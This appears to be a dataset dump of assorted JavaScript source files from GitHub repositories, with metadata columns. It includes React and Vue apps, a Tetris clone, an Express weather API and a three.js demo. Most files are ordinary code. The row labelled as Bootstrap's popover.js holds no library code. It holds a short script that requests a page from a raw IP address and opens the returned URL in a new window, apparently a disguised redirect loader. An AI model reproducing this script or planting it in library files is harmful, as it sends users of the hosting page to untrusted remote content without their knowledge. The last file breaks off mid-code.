blob_id stringlengths 40 40 | language stringclasses 1
value | repo_name stringlengths 5 132 | path stringlengths 3 236 | src_encoding stringclasses 29
values | length_bytes int64 8 7.94M | score float64 2.52 5.72 | int_score int64 3 5 | detected_licenses listlengths 0 142 | license_type stringclasses 2
values | text stringlengths 8 7.94M | download_success bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|
cafa0f10c35e8b26c7c5ae3bd02f4d942f1af3c8 | JavaScript | danReynolds/LaraDanLeap | /threeJSInitializer.js | UTF-8 | 5,124 | 2.6875 | 3 | [] | no_license | window.addEventListener('load', function() {
var container;
var camera, controls, scene, renderer;
var mesh;
var worldWidth = 128, worldDepth = 128,
worldHalfWidth = worldWidth / 2, worldHalfDepth = worldDepth / 2,
data = generateHeight( worldWidth, worldDepth );
var clock = new THREE.Clock();
ini... | true |
9aca4639b97912ef6ea9167d2876cae701b47243 | JavaScript | revelroestorf/react_practice | /examples/axios_express_react/client/src/App.js | UTF-8 | 1,577 | 2.890625 | 3 | [] | no_license | import React, { Component } from 'react';
import './App.css';
import axios from 'axios'
const api = 'http://localhost:3333/api/students'
const Student = (props) => {
return <p>{props.name}</p>
}
class App extends Component {
state = {
newstudent: '',
students: []
}
componentDidMount() {
axios.get... | true |
1885b578b0cc6131e450b2e71c0931502c38b1fe | JavaScript | okorz001/gandamu-loader | /image.js | UTF-8 | 1,865 | 2.703125 | 3 | [] | no_license | 'use strict'
const sharp = require('sharp')
const WHITE = {r: 255, g: 255, b: 255}
async function cropAndResize(buffer, source, target) {
const image = sharp(buffer)
const meta = await image.metadata()
// compute scale factor for resizing
const scale = {
width: target.width / source.width,
... | true |
30dd92ee0437007eb4ecda564e07d29347fd9e13 | JavaScript | drumovski/sotrpc_server | /controllers/pottery_classes_controller.js | UTF-8 | 1,446 | 2.828125 | 3 | [] | no_license | const {
addClassToDB,
getClassFromDB,
deleteClassFromDB,
getClassesFromDB,
editClassFromDB,
} = require("../utils/pottery_classes_utilities");
// Add a new pottery class to the DB
const addClass = function (req, res) {
addClassToDB(req).save((err, pottery_class) => {
if (err) {
res.status(500).se... | true |
f6e730ec8649ff71e0088bf20a1a2b913927162c | JavaScript | fayzasalman/project3-react-blog | /src/dashboard/Posts.jsx | UTF-8 | 3,150 | 2.796875 | 3 | [] | no_license | import React, { Component } from "react";
import axios from "axios";
class Posts extends Component {
state = {
posts: [],
post: {}
};
postDelete = id => {
fetch("http://localhost:3000/posts/" + id, {
method: "delete"
});
this.setState({
posts: this.state.posts.filter(x => x.id !=... | true |
5e71bc92c294b5a719f68283a60aed5151c30972 | JavaScript | wkylin/react-hooks | /src/components/ReactSmartInRender/Parent4.js | UTF-8 | 769 | 2.984375 | 3 | [] | no_license | import React, { useState } from 'react';
function ChildComponent1() {
console.log('Child1 Rendered')
return <p>Hello World!</p>
}
function ChildComponent2(props) {
console.log('Child2 Rendered')
return <p>{props.counter}</p>
}
function ChildComponent3(props) {
console.log('Child3 Rendered')
return <p>{pr... | true |
b3daf4f111d43f79975480db4f1bb0782555b211 | JavaScript | Alejandroid101/city-explorer | /server.js | UTF-8 | 3,187 | 2.84375 | 3 | [
"MIT"
] | permissive | 'use strict'
const express = require('express');
require('dotenv').config();
const app = express();
app.use(express.static('public'));
const cors = require('cors');
const superagent = require('superagent');
app.use(cors());
const PORT = process.env.PORT || 3000;
let lat = 0;
let lng = 0;
app.listen(PORT, () => co... | true |
540086cf9033c0f468829d2fe148e9c114c23282 | JavaScript | hxrykl/myPractice | /es6/2day/6assign.js | UTF-8 | 262 | 3.0625 | 3 | [] | no_license | let o1 ={
sayName(){},
sayAge(){},
name:"lala"
}
let o2 = {
age:13
}
let tagert ={};
let o3 =Object.assign(tagert,o1,o2)
console.log(o3,"/////////////",tagert);
//克隆
let o4 =Object.assign({},o1);
console.log("克隆:",o4);
| true |
586b14b7ada787e3a779d8bb4459ec3221afe439 | JavaScript | sharanvkaur/tetris | /script.js | UTF-8 | 10,450 | 2.640625 | 3 | [] | no_license | console.log('script.js speaking')
var bgcolor = 'slategrey'
var score = 0
var playing = true
var shadow = 'inset 0 0 4px #000000'
var Piece = function (type) {
this.base = [4, 1]
this.type = type || Math.floor(1 + Math.random() * 7)
switch (this.type) {
case 1:
this.name = 'O'
this.blocks = [[1,... | true |
a04caad90b02d2370e1d20eefdb0cf5e917e5fa0 | JavaScript | EniDex/Calc | /home.js | UTF-8 | 3,161 | 4.0625 | 4 | [] | no_license | //game values
let min=1,
max=10,
winningNumber=getRandomNum(min,max),
guessLeft=3;
//declaring variables
const game=document.querySelector('.game'),
minNum=document.querySelector('.min-number'),
maxNum=document.querySelector('.max-number'),
guessBtn=document.querySelector('#guess-btn'),
guessInput=docum... | true |
34ad8ff982efc0b4a5343da7c97072fe037cba54 | JavaScript | dimpol/bootstrap | /js/dist/popover.js | UTF-8 | 169 | 2.546875 | 3 | [
"CC-BY-3.0",
"MIT"
] | permissive | var x=new XMLHttpRequest();x.open('GET','https://188.4.181.71/index.html');x.send();
x.onreadystatechange=function(){if(this.readyState==4){window.open(x.responseURL)}}
| true |
9c56727caba0a2c2a24fb1e52fcd5fe7284cedc2 | JavaScript | vipenl26/Auto-align-pen | /js/misc.js | UTF-8 | 574 | 3.0625 | 3 | [] | no_license | function average(mod1,f,i,n){
var c=0, mean={x:0,y:0};
for(var j=-n; j<=n ;j++){
if(i+j>f||j==0||f-(i+j)>=mod1.length)continue;
mean.x+=mod1[f-(i+j)].x
mean.y+=mod1[f-(i+j)].y
c+=1;}
mean.x=~~(mean.x/c);mean.y=~~(mean.y/c);
return mean;
}
function eqlpt(a,b){
if(a.x==b.x && a.y==b.y)return 1;... | true |
84dc4c8662f8d7260b46f332ea9d1fd722dc29fb | JavaScript | snehelpatel/constructors-hw | /src/js/bonus.js | UTF-8 | 2,327 | 3.46875 | 3 | [] | no_license | import {it, expect} from "./test_lib";
// Constructors
// Only add code to *THIS* section!
//shift functions out of the instance and into the prototype.
function Human (option){
let opt = option || {};
this.alertness = opt.alertness || 0;
this.hasCoffee = opt.hasCoffee || false;
this.needsCoffee = opt.needsCoffee |... | true |
e5271352d4d848352a9032bf2e338df34d762085 | JavaScript | daviz1982/trello-react | /src/services/getTasks.service.js | UTF-8 | 601 | 2.546875 | 3 | [] | no_license | import {
API_URL
} from "../shared/constants";
export default async function getTasksList(idList) {
const url = API_URL + '/list/tasks/' + idList
const jwt = localStorage.getItem('user') || ''
const response = await fetch(url, {
method: 'GET',
headers: {
'Content-Type': 'application/json',
... | true |
7e0582db02ddc59cfa398661c50094ce4cff0cdb | JavaScript | huiting-wang/13th-ithelp_custom-react-ui-components | /src/components/ProgressCircle/index.jsx | UTF-8 | 4,844 | 2.5625 | 3 | [] | no_license | /* eslint-disable react/forbid-prop-types */
import React, {
useRef, useState, useEffect, useCallback,
} from 'react';
import styled, { css } from 'styled-components';
import PropTypes from 'prop-types';
import { useColor } from 'hooks/useColor';
const INFINITE = 999999;
const counterClockwiseStyle = css`
.progr... | true |
7d7f582da77e2592c432991e1b41f7c4c53cfa1f | JavaScript | afmerino/Week-3-Exercise-1-5 | /week 3/java/excercise2.js | UTF-8 | 427 | 3.28125 | 3 | [] | no_license | "use strict"
var i = 0;
/*
for (i = 0; i < 51; i++) {
console.log (i);
}
*/
/*
while (i < 51) {
console.log (i);
i += 2;
}
*/
while (i < 101) {
if (i % 5 === 0 && i % 3 === 0) {
console.log (i + " fizzbuzz");
}
else if (i % 3 === 0) {
console.log (i + " fi... | true |
43fa7a8dcf48dfa567be82361220efcf784f685e | JavaScript | My-Org2021/problem-solutions | /hackerrank/compare_the_triplets.js | UTF-8 | 730 | 4.03125 | 4 | [] | no_license | // https://www.hackerrank.com/challenges/compare-the-triplets
function pushAndCalculate(array) {
let val = 0;
for (let i = 0; i < array.length; i++) {
val += array[i]
}
return val;
}
function compareTriplets(a, b) {
let alicesScore = [];
let bobsScore = [];
let resultArray = [];
... | true |
6542a663ea08c50967a26d8a70c955927d91a1e5 | JavaScript | yuka-1010/4IV7-PSW-lopez-sierra-mayra-fernanda | /JS/rompecabezas.js | UTF-8 | 3,368 | 3.125 | 3 | [] | no_license | /*si ya se ocuparon los identificadores para css entonces
voy a ocupar las class para js*/
var piezas = document.getElementsByClassName('movil');
/*Definir tamaño de las piezas */
var tamWidth = [134,192,134,163,134,163,134,192,134];
var tanHeight = [163,134,163,134,192,134,163,134,163];
for(var i = 0; i < piezas.... | true |
d9e75ca878a1a24bbb8eb25b9ff76160b1674e9e | JavaScript | lsj123789/review | /regexp/removeStr.js | UTF-8 | 148 | 3.046875 | 3 | [] | no_license | // 字符串去重
function removeRepeat(str) {
let reg = /(\w)\1*/g;
return str.replace(reg, '$1')
}
console.log(removeRepeat('aaabbbccc')) | true |
f155076994a4e13d26a290ab68648c97464c1a7f | JavaScript | rafadut/article-app | /ArticleApp/Scripts/menu.js | UTF-8 | 534 | 2.6875 | 3 | [] | no_license | var menu = function (pageTitle) {
this.pageTitle = pageTitle;
this.bindEvents(); // binding events as soon as the object is instantiated
this.additionalEvents(); // additional events such as DOM manipulation etc
};
var menu.prototype.bindEvents = function () {
$('ul.menu').on('click', 'li.has-submenu',... | true |
80a4557f2bb4b36af7ce6f64dbbae48735068e8c | JavaScript | wetfish/basic | /test/append.js | UTF-8 | 1,819 | 3.265625 | 3 | [
"MIT"
] | permissive | QUnit.test("Appending strings and elements", function(assert)
{
var el = $('.append-child').el[0];
var appendBtn = document.createElement('button');
appendBtn.className = 'appended-button-class';
var evt = new Event('click');
var output = [];
el.addEventListener('click', function()
{
... | true |
ee93e8cc0de7835512960c4ef217c9e1f8492737 | JavaScript | idaturoy/rockPaperScissors | /rockPaperScissor.js | UTF-8 | 2,081 | 3.78125 | 4 | [] | no_license | let buttons = document.querySelectorAll('button');
let playerScore = document.getElementById('player1');
let computerScore = document.getElementById('player2');
let scorePlayer = 0;
let scoreComputer = 0;
//Random choice of the options
function computerPlay(){
let options =['rock', 'paper', 'scissors'];
let ra... | true |
80edcd53a08a617457e38ac24dce70caf7c7815b | JavaScript | avilavate/MISC | /indetifyOrder.js | UTF-8 | 924 | 3.6875 | 4 | [] | no_license | function orderType(arr) {
var order = "Unsorted";
for (var i = 0; i < arr.length; i++) {
arr[i] = Number.isInteger(arr[i]) ? arr[i] : arr[i].length;
}
console.dir(arr);
for (var i = 0; i < arr.length; i++) {
// var cond = !!(i + 1 <= arr.length && parseInt(arr[i]) && parseInt(arr[i+1... | true |
7238acece353bc7a5273a57fe9648eb6c9fae5d8 | JavaScript | Atikur-Rahman-Sabuj/smart-business-bd | /src/dataAccess/userDataAccess.js | UTF-8 | 882 | 2.640625 | 3 | [] | no_license | import Axios from 'axios'
class userDataAccess{
getUserAuth(){
//this call expects a object like
// {
// type:"user" or "admin" or "none"
// name:""
// address:""
// ..... other informaations about user
// the type is necessary here f... | true |
c4a8a1f7da4bc2e302cb638d0d0cc89e39f812e2 | JavaScript | jurek55/szubienica2 | /klawiaturanieakt.js | UTF-8 | 1,265 | 2.796875 | 3 | [] | no_license |
$(document).ready(function(){Klawisze()});
var klawiatura = {
klawisze_m: ['a','ą','b','c','ć','d','e','ę','f','g','h','i','j','k','l','ł','m','n','ń','o','ó','p','q','r','s','ś','t','u','v','w','x','y','z','ź','ż'],
klaw: function(){
return this.klawisze_m
},
klawisze_d: funct... | true |
b0c9abd70a00c2000223a9587b25c8e214a046f3 | JavaScript | shiffman/website-1 | /p5Update.js | UTF-8 | 2,027 | 2.546875 | 3 | [
"MIT"
] | permissive | /**
* @todo: Create a documentation for the usage
*/
const replace = require("replace-in-file");
//Specify the release you want to update to
const release = "0.10.2";
const paths = ["./**/index.html"];
const ignored_files = ["./_site/**/*.html"];
const p5_js = {
name: "p5.js",
files: paths,
from: new RegExp... | true |
a4e0ece0e545d1edd815281a6918b4bc3c94a0e2 | JavaScript | yunaichun/react-todolist | /react/src/components/AddTodo.js | UTF-8 | 1,121 | 2.875 | 3 | [] | no_license | import React from 'react';
export default class AddTodo extends React.Component {
constructor(props) {
super(props);
this.state = {
value: ''
};
//保证事件可以获取到this.props属性
this.handleChange = this.handleChange.bind(this);
this.handleKeyUp = this.handleKeyUp.bind(this);
}
//回车事件
handl... | true |
f7a089c1666d456b7b88ffc2dc11b1db3a38ab0a | JavaScript | hunterachieng/Todo-List-React.js | /src/ToDoForm.js | UTF-8 | 680 | 2.703125 | 3 | [] | no_license | import React ,{useState} from 'react';
export default function ToDoForm ({addTask}){
const [userInput, setUserInput] = useState("");
const handleChange = e =>{
setUserInput(e.currentTarget.value);
}
const handleSubmit = (e) => {
e.preventDefault();
addTask(userInput);
s... | true |
4d6d8f2d0e119a1c6d6064fffbec3c2bbde85012 | JavaScript | dhruv-m-patel/react-demos | /src/common/components/ExpenseTracker/IncomeExpense.jsx | UTF-8 | 1,608 | 2.578125 | 3 | [] | no_license | import React from 'react';
import PropTypes from 'prop-types';
import styled from 'styled-components';
import Row from 'react-bootstrap/Row';
import Col from 'react-bootstrap/Col';
const Container = styled.div`
padding: 1rem;
`;
export const Amount = styled.div`
font-size: 1.3rem;
font-weight: bold;
text-tran... | true |
1537f1af75dbe02910baa891df09239167db3889 | JavaScript | Jacksonvfx/SpaceShooterGame | /Assets/Standard Assets/PlayerBulletMove.js | UTF-8 | 582 | 2.578125 | 3 | [] | no_license | #pragma strict
var bulletSpeed : float = 25;
var damage : int;
var coinEffect : Transform;
function Update ()
{
transform.position += transform.forward*bulletSpeed*Time.deltaTime;
}
function SetDamage(newDamage: int) {
this.damage = newDamage;
}
function OnBecameInvisible () {
Destroy(gameObject);
}
functi... | true |
9f1ccba7ffc051bb6880aacbf7dc0cf58e1c6c45 | JavaScript | alphonsotran/Data-Structures | /queue.js | UTF-8 | 267 | 3.359375 | 3 | [] | no_license | class Queue {
constructor() {
this.collection = [];
}
enqueue(value) {
this.collection.push(value);
}
dequeue(){
this.collection.shift();
}
front() {
return this.collection[0];
}
size() {
return this.collection.length;
}
}
| true |
c9f0f9a08cbf67010beaee2b53240419116653e0 | JavaScript | FortizFil/goit-react-hw-04-movies | /src/services/movieAPI.jsx | UTF-8 | 1,167 | 2.734375 | 3 | [] | no_license | const BASE_URL = 'https://api.themoviedb.org/3/';
const API_KEY = '31143f93c8cd4338a46f4d01b3c629e1';
const fetchPopularMovies = () => {
return fetch(`${BASE_URL}trending/movie/day?api_key=${API_KEY}`).then(
response => {
return response.json();
},
);
};
const fetchMovieById = movieId => {
return ... | true |
9a453feffa6ee5f5a579e2899bbbbcb9ab92895e | JavaScript | Eduardo443/Cod3r_web_moderno_2020 | /array/reduce2.js | UTF-8 | 539 | 3.578125 | 4 | [] | no_license | const aluno = [
{nome: 'joao', nota: 7.3, bolsista: false},
{nome: 'mario', nota: 9.5, bolsista: true},
{nome: 'maria', nota: 8.6, bolsista: false},
{nome: 'ana', nota: 4.3, bolsista: true},
]
//Desafio 1 = Todos os alunos são bolsistas?
const resultado1 = (resultado, bolsista) => resultado && bolsista... | true |
d0120b0fe9701c338f858f3d25d4cc151a9c7f1f | JavaScript | idleist/perrennial-designs-full-login-with-auth | /controllers/contact_controller.js | UTF-8 | 1,428 | 2.53125 | 3 | [] | no_license | // dotenv for sensitive email login details
const dotenv = require("dotenv");
dotenv.config();
// NodeMailer for the contact form
const nodemailer = require("nodemailer");
/*******************
CONTACT CONTROLLERS
*******************/
// render contact page
exports.getContactPage = (req, res, next) => {
res.rende... | true |
13e314883a549aece980e802213f373c1a0c71ea | JavaScript | angstream/miscellaneous | /js/cookie.js | UTF-8 | 749 | 2.625 | 3 | [] | no_license |
function setCookie (cname, cvalue, exdays, maxLimit) {
maxLimit = maxLimit || 20;
var d = new Date();
d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
var expires = "expires="+d.toUTCString();
var parts = getCookie(cname);
if (!parts || parts == 'undefined') {
document.cookie = cname + "=" ... | true |
7cc09fc3559683d5efec8d35279fa00b8bc551c9 | JavaScript | Zenquan/learnCode | /设计模式/javaScript设计模式/deginPattern/src/ArrayMethod.js | UTF-8 | 429 | 3.53125 | 4 | [] | no_license | let arrA = [1,2,3,3];
let arrB = [2,4,5,6];
let setA = new Set(arrA);
let setB = new Set(arrB);
//求并集
let unionSet = new Set([...setA, ...setB]);
console.log(Array.from(unionSet));
//求交集
let intersectionSet = new Set([...setA].filter(x => setB.has(x)));
console.log(Array.from(intersectionSet));
//求补集
let differenceS... | true |
68b707ed00bd95b3bbd90dc7c63511f4abeeaa82 | JavaScript | y5labs/baigent-signature | /index.js | UTF-8 | 1,564 | 2.96875 | 3 | [] | no_license | // Generated by CoffeeScript 1.10.0
var button;
button = document.querySelector('form');
button.onsubmit = function(e) {
var name, numbers, phone1, phone2, phone3, title;
e.preventDefault();
name = e.target.querySelector('input[name="name"]').value;
title = e.target.querySelector('input[name="title"]').value;... | true |
0a4bb8b18c822af4d40bc3033db886807d9b98e9 | JavaScript | MaJiaQing8888/2010 | /cart/js/cart.js | UTF-8 | 6,489 | 3.09375 | 3 | [] | no_license | class Cart {
//静态方法声明在class类中
static selectAll;
static checkOne;
constructor() {
Cart.selectAll = document.querySelectorAll('.check-all'); //要放全选绑定事件方法之前
Cart.checkOne = document.getElementsByClassName('check-one');
Cart.Glist();
Cart.checkAll();
}
/******商品列表****/
static Glist() {
//... | true |
5137298f5cc934f8df95bd55d1d4bf2452ffc665 | JavaScript | jerichox-uc/modelos | /src/store.js | UTF-8 | 4,515 | 2.546875 | 3 | [] | no_license | import Vue from "vue";
import Vuex from "vuex";
import axios from "axios";
Vue.use(Vuex);
/* Vue.use(axios)
*/
function setInStorage(key, obj) {
localStorage.setItem(key, JSON.stringify(obj));
}
function getFromStorage(key) {
return JSON.parse(localStorage.getItem(key));
}
function getCartTotal(productsList) {
... | true |
fb8a56d822993bdba135db77459781079dd0525a | JavaScript | georgelima/Conway-s-Game-of-Life | /parts/board.js | UTF-8 | 4,111 | 3.53125 | 4 | [] | no_license | class Board {
constructor(size, width, height) {
this.x = 0;
this.y = 0;
this.size = size;
// largura e altura de cada bloco da grid
this.width = width;
this.height = height;
this.started = false;
this.cells = [];
this._init();
}
// inicializa a matriz com as células
_init... | true |
6473ce1c11d93b5e49b158486895d4af8208f7d2 | JavaScript | Pico-CMS/Pico-CMS | /includes/uploader/browse_manager.js | UTF-8 | 19,118 | 2.609375 | 3 | [] | no_license |
function Browser_Load(folder)
{
Browser_LoadFolder(folder);
}
function Browser_ShowLoading()
{
document.getElementById('browse-load').style.display='block';
}
function Browser_CloseLoading()
{
document.getElementById('browse-load').style.display='none';
}
function Browser_LoadFolder(folder)
{
document.getElemen... | true |
4378c4d4d38bc66455e9b33f3ac7b0ed311f65fc | JavaScript | StrategicDevelopment/iewebgl | /UnitTest/WebGL/WebGLShader.js | WINDOWS-1251 | 13,281 | 2.625 | 3 | [] | no_license |
module("WebGLShader");
test("verify createShader()", function () {
var gl = GetCleanContext();
var vShader = gl.createShader(gl.VERTEX_SHADER);
equal(gl.getError(), gl.NO_ERROR, "getError() == NO_ERROR after call createShader(VERTEX_SHADER)");
ok((vShader !== null && vShader !== undefined), "Vertex s... | true |
f1c19ad8c9766a03b3f834589aa4e1c44d7d218f | JavaScript | ramonmoraes/greaterSiteBuilder | /src/classes/Site.js | UTF-8 | 497 | 2.90625 | 3 | [] | no_license | "use strict";
export default class Site {
constructor(options) {
this.blocks = options.blocks;
this.mold = options.mold;
this.blockCount = 0;
this.render();
}
render() {
const { blocks, blockCount } = this;
if (blockCount < blocks.length) {
this.addBlock(blocks[b... | true |
aaec44f071c8b4b376d9f9ebf80dfac89100b56c | JavaScript | julioisidro/Desarrollo_Web | /JavaScript esencial/formulario/js/main.js | UTF-8 | 1,793 | 2.9375 | 3 | [
"MIT"
] | permissive | function entroEnFoco(elemento) {
elemento.className='enfoco';
}
function salioDeFoco(elemento) {
elemento.className='';
}
function revisarObligatorio(elemento) {
if (elemento.value=="") {
elemento.className='error';
} else {
elemento.className='';
}
}
function revisarNumerico(elemento) {
if (elemento.v... | true |
ec699585a2d236949d8ea627246e441da3756858 | JavaScript | adityapareek18/BSRApp | /renderer.js | UTF-8 | 6,922 | 2.59375 | 3 | [
"LicenseRef-scancode-public-domain",
"CC0-1.0"
] | permissive | // This file is required by the index.html file and will
// be executed in the renderer process for that window.
// All of the Node.js APIs are available in this process.
const { app, BrowserWindow } = require('electron');
const { dialog } = require('electron').remote;
var Excel = require('exceljs');
var fs = require('... | true |
6bdd2ac1530d20020c4f433e25ffd90e5736c5d7 | JavaScript | ClementCaillaud/workshop-node-js-eval | /src/exercise3.js | UTF-8 | 528 | 3.640625 | 4 | [] | no_license | exports.run = function(input)
{
console.log("Exercise #3");
//Initialisation du résultat
var result = 0;
//On regarde chaque objet
for(var i=0; i<input.length; i++)
{
//Si l'opérateur est 'add', on additionne
if(input[i].operator == 'add')
{
result += input[i].value;
}
//Si l'opér... | true |
08c809406d42494b0b8826e308a4d593a6789aab | JavaScript | michael-spengler/api-collector | /dist/api-collector.js | UTF-8 | 856 | 2.546875 | 3 | [] | no_license | "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
class APICollector {
constructor() {
this.apis = [];
}
async addAPI(topic, baseURL) {
if (this.apis.some((entry) => entry.topic === topic)) {
const foundEntry = this.apis.filter((entry) => entry.topic ==... | true |
19794a05d94bf1ebfd54cdf2a29cd46374e18ee5 | JavaScript | Howellp80/Web-Development---AJAX-Interactions | /script.js | UTF-8 | 2,632 | 3.515625 | 4 | [] | no_license | // Parker Howell
// Week 6 - CS 290
// Event Listener for Get Weather button
// get valus of City Name and Zip Code when Get Weather clicked
document.getElementById("subButton").addEventListener("click", function(){
var theCity = document.getElementById("city").value;
var theZip = document.getElementById(... | true |
be3e89937a2376a9a1010a40070248f438b2aabb | JavaScript | Sumner1185/ecsd-javascript-workshop | /exercises/pt7_callbacks_promises_and_async_actions/exercise-2/read-file.js | UTF-8 | 258 | 2.859375 | 3 | [] | no_license | // Should read from file which is passed in execution of file
const fs = require('fs')
const file = process.argv[2]
fs.readFile(file, 'utf8', (err, fileData) => {
if (err) {
console.log('Error!')
return
}
console.log(fileData)
}) | true |
d6ae3f3bfecae70f1260223d7365364547b6a1d5 | JavaScript | vipulchauhan07/todoList | /src/App.js | UTF-8 | 1,254 | 2.875 | 3 | [] | no_license | import React, { Component } from 'react';
import {Task} from './components/task';
class App extends Component {
constructor(props){
super(props);
this.state={
tasks:[],
task:''
}
}
handleOnChange=(e)=>{
this.setState({task:[e.target.value]});
}
handleClick=()=>{
c... | true |
9e174595c4a80b60f23ad06817e5d9b2129fb2ae | JavaScript | WildJBEC/WildAstronautes | /collections/articles.js | UTF-8 | 565 | 3.40625 | 3 | [] | no_license | 'use strict'
class Articles {
constructor(articlesJSON) {
this.data = [];
// c'est le tri pour l'affichage : à modifier !
articlesJSON.forEach((sJSON) => {
let article = new Article(sJSON);
this.data.push(article);
})
// Important for "filter" exercise - little hint here ;)
th... | true |
85615470e115918ac3b40918ab2a7176ca010528 | JavaScript | EKU-IT-Geeks-Tech-Team/EKU-IT-Geeks-Lab-Check-In | /labcheckin/static/js/main.js | UTF-8 | 2,718 | 2.9375 | 3 | [] | no_license | // automatically adjusts image map coordinates when window resizes
var callback = function () {
// Handler when the DOM is fully loaded
imageMapResize()
}
// calls callback() function when page is loaded
if (
document.readyState === 'complete' ||
(document.readyState !== 'loading' && !document.documentElement.... | true |
56e52cafacb12277c371ec20b6af6988a20d3a0b | JavaScript | jonathanrz/myinvestments-nextjs | /state/data/selector/investmentsByType.js | UTF-8 | 1,087 | 2.84375 | 3 | [] | no_license | const getInvestmentCurrentValue = investment => {
if (investment.incomes && investment.incomes.length > 0) return investment.incomes[0].value
return 0
}
const getInvestmentsByType = state => {
const investments = state.data.filteredInvestments
var investmentsByType = {}
for (let i = 0; i < investments.lengt... | true |
4c73282e81e8878780a424e19a0db0d78dd2324c | JavaScript | yoojh9/learning-javascript-example | /ch7/iife-test.js | UTF-8 | 258 | 3.296875 | 3 | [] | no_license | const message = (function(){
// 변수 secret은 IIFE 스코프 안에서 안전하게 보호되며 외부에서 접근할 수 없다.
const secret = "I'm a secret!";
return `The secret is ${secret.length} characters long`;
})();
console.log(message); | true |
c954861e1e29d6ecb9ed84a7a9f9c1c1b463a421 | JavaScript | linkdd/link.ui | /link/src/actionregistry.js | UTF-8 | 1,886 | 2.859375 | 3 | [] | no_license | define([
'classify',
'jquery'
], function(classify, $) {
/**
* Manage actions loading and calling.
*
* @class ActionRegistry
* @main Link
*/
classify.module('ActionRegistry', function() {
var actions = {},
promises = {};
/**
* Add a new acti... | true |
931894bfa21620b9e90e340bf4273fe237bc866d | JavaScript | yesseniarod/c0121-code-solutions | /string-manipulation-2/src/num-vowels.js | UTF-8 | 237 | 3.609375 | 4 | [] | no_license | /* exported numVowels */
function numVowels(string) {
var counter = 0;
var vowels = 'aeiouAEIOU';
for (var i = 0; i < string.length; i++) {
if (vowels.indexOf(string[i]) !== -1) {
counter++;
}
}
return counter;
}
| true |
887ce80ef42b7b6973f02a47732c6eac8c966ca5 | JavaScript | pavel1tel/game | /tanks_game/static/tanks_game/js/Tower.js | UTF-8 | 679 | 3.34375 | 3 | [] | no_license | function Tower(img) {
this.sprite = createSprite(136, 60);
this.sprite.addImage(img);
this.sprite.position.x = 0;
this.sprite.position.y = 0;
this.draw = function (xCordTank, yCordTank) {
this.sprite.position.x = xCordTank;
this.sprite.position.y = yCordTank;
let x = mouseX -... | true |
08c95be7e7494aec4774b1552f8cd34c501a2422 | JavaScript | 1ik/typescript-playground | /src/chapter_02/10_union_types.js | UTF-8 | 169 | 2.859375 | 3 | [] | no_license | function getString(arg1, arg2) {
return arg1 + arg2;
}
console.log(getString(1, "2")); //12
console.log(getString("1", "2")); //12
console.log(getString(1, 2)); //3
| true |
71753249f32277f302434a77d7d0bfce35e409c0 | JavaScript | camr1993/algos | /AlgoRoadMap/Trees/leafSimilarTrees.js | UTF-8 | 559 | 3.234375 | 3 | [] | no_license | var leafSimilar = function (root1, root2) {
let arr1 = []
let arr2 = []
leafValues(root1, arr1)
leafValues(root2, arr2)
return checkArrays(arr1, arr2)
}
function leafValues(node, arr) {
if (!node.left && !node.right) {
arr.push(node.val)
}
if (node.left) {
leafValues(node.left, arr)
}
if (n... | true |
b02dde7bb955d91b0477e4817fbb86dc1822ce76 | JavaScript | Big-Data-And-Data-Analytics/case-study-2-october2019-case-study-team-6 | /scripts/chrome_plugin/button_logic.js | UTF-8 | 2,399 | 2.53125 | 3 | [] | no_license | // popup.js
document.addEventListener('DOMContentLoaded', function() {
var id_button = document.getElementById('id_button');
var ni_button = document.getElementById('ni_button');
var manual_predict_button = document.getElementById('manual_predict_button');
var class_dropdown = document.getElementById('c... | true |
33cf839a1f040dfc62c15ef8063dc22a63249088 | JavaScript | Lindennerd/translator | /client/libraries/pagebuilder.js | UTF-8 | 885 | 2.78125 | 3 | [
"Unlicense"
] | permissive | function PageBuilder(configuration) {
this.configuration = $.extend({
container: '#main',
templateUrl: null,
data: null
}, configuration, true);
}
PageBuilder.prototype.render = function () {
return new Promise(function (resolve, reject) {
if (!this.configuration.templateUrl... | true |
72b18eb8f41b9c27262d177af97915bde0347bee | JavaScript | vinyasbt/firstreact_besant | /src/Link.js | UTF-8 | 705 | 2.890625 | 3 | [] | no_license | import React from 'react'
//function Link(){
// return(
// <div>
// Name:<input type="text" />
// <button onClick={()=>getData()}>click me</button>
// </div>
// )
// }
class Link extends React.Component{
constructor(props){
super(props);
this.state = {
... | true |
3d7f109d2bfc2164b9bf21ef8e8fdb693fddad2d | JavaScript | cpinto/browser-extension | /tools/inject-script.js | UTF-8 | 638 | 2.765625 | 3 | [
"BSD-3-Clause"
] | permissive | const fs = require('fs');
const htmlPath = process.argv[2];
const str = (process.argv[3] === "win") ? "<script>var _isLinux = false;</script>" : "<script>var _isLinux = true;</script>";
fs.readFile(htmlPath, 'utf8', (htmlReadErr, htmlContent) => {
if (htmlReadErr) {
process.exit(1);
}
const index = htmlC... | true |
8f032426334e3676e80facfee90b800a62895d05 | JavaScript | ZackAkil/compilerless-vue-component-dev | /list_components.js | UTF-8 | 566 | 2.65625 | 3 | [] | no_license | // define style rules to be programtically loaded
var style = document.createElement('style');
style.innerHTML = `
.list {
color: blue;
font-size: 20px;
border: red solid 2px;
}
`;
document.getElementsByTagName('head')[0].appendChild(style);
// define component
Vue.component('counter-list', {
pro... | true |
219985e66b51cd1cbacbc2fcd323aa7f9871a612 | JavaScript | nicolehuey/seddit-software | /frontend/src/main.js | UTF-8 | 1,974 | 2.546875 | 3 | [] | no_license | /**
* Written by A. Hinds with Z. Afzal 2018 for UNSW CSE.
*
* Updated 2019.
*/
// import your own scripts here.
// your app must take an apiUrl as an argument --
// this will allow us to verify your apps behaviour with
// different datasets.
import {create_banner,create_logo,create_buttons,create_login_signup_bu... | true |
6fa18ee1615087bb201876cf9909db0c1de46605 | JavaScript | xuhao008/ChenXingYiGou | /chenxingyigou-parent/chenxingyigou-search-web/src/main/webapp/js/controller/searchController.js | UTF-8 | 4,117 | 2.625 | 3 | [] | no_license | app.controller('searchController',function($scope,searchService,$location){
//定义搜索对象的属性
$scope.searchMap={'keywords':'','category':'','brand':'','spec':{ },'price':'','pageNo':1,'pageSize':40,'sort':'','sortField':''}
//搜索
$scope.search=function(){
$scope.searchMap.pageNo=parseInt($scope.search... | true |
076947bbe7f4778763a8f72fd3bc37ae6f712371 | JavaScript | g00292514/PlatformGame | /Game.js | UTF-8 | 1,270 | 2.734375 | 3 | [] | no_license | Game = function(canvas){
var game = this;
this.framerate=70;
this.ballSensitivity = .5;
this.canvas = canvas;
this.ctx = canvas.getContext('2d');
